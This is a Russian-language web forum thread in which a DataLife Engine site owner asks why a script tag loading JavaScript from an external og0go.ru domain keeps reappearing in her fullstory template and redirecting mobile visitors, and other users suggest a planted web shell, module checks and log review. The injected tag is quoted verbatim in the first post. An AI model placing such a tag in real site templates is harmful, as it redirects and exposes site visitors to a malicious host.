Вредоносный код в dle

Всем привет. Может кто знает, где искать и куда копать. В файл fullstory постоянно проставляется этот скрипт <script type="text/javascript" src="http://ec7.og0go.ru/js.js?p=&id=uc8...&be&mt&az&t2&bm&kz&ua&pl&ger&bra&ya&ssl&sid=0"></script>
Я уже пыталась найти по домену og0go во всех файлах и папках, но ничего не находит. Во первых, не понятно откуда оно взялось, а во вторых, где его искать? А этот код, делает моб. редирект на подписки.

 

В файл ? Или на странице ?

 

1. Снимай всю рекламу и смотри присутствует ли код
2. Проверь сайт антивирусником на присутствие шеллов
Нужно изначально узнать каким образом он появляется) что бы потом его убрать)

 

Какие-нибудь модули устанавливала ?

И это где именно находится ? На всех страницах ? Или только на стр фильмов ) ещё посмотри где скрипт лежит, в теге head, или в теле сайта (body) ) обычно такие файлики перед body подключаются )

 

Лежит в файле fullstory я его удаляю, но через время снова появляется. Вот модули:

iPrem
Список ближайших премьер

Grabber Kinopoisk for DLE v2.6.4
Настройка граббера и сам граббинг.

HD Light
Автор: Timphenix Development [ [email protected] ]

MoonSerials
модуль для автоматизации работы с сериалами на сервисе moonwalk.cc

ufMoon
обновление качества фильмов с moonwalk.cc

Parser Kinopoisk for DLE v6.0.16
Настройка парсера

SimpleSEO - это же элементарно, Ватсон!
Модуль позволяет настраивать все элементы и мета-теги, необходимые для успешной оптимизации. И еще чуть-чуть...

График выхода серий сериалов v1.6
Настройка модуля.

LinkEnso - модуль для организации кольцевой прелинковки
Модуль позволяет создать на сайте кольцевую перелинковку новостей с учетом их тематики

DonBot - модуль для закрытия страниц от индексации
Модуль позволяет "правильно" закрывать нужные страницы от индексации поисковыми системами

MoonBase
Наличие фильмов и сериалов с базы Moonwalk.cc в базе сайта

KP SoonFilms
Список ближайших премьер

 

Наверно тебя взломали ) иначе как добавляется код в файл без доступа) или может сама дала ) )) где двиг брала ? Какая версия ? И давно сайт работает ?

 

Пароли изменила все и на сервере тоже, двиг уже не помню откуда он, сайту уже пол года. Но я купила лицензионный дле, нужно только заняться и все перенести на новый двиг.

 

Смени пароль, проверь лог, посмотри кто-нибудь редактировал после вас

Это Проблема давно уже мучает ?

 

Вот именно, что в логах только я была, а мучает может месяц или два я случайно заметила редирект с мобилки.

 

Причём модули ? У него дыра на сайте )

 

Да у нее шелл залит, алло, какой нахуй "смени пароль".

 

Напиши в Скайп ) найду дыру ) liser07 ) или в телегу @LisER07

 

@Nika, отзывы на стене есть ) напиши, помогу )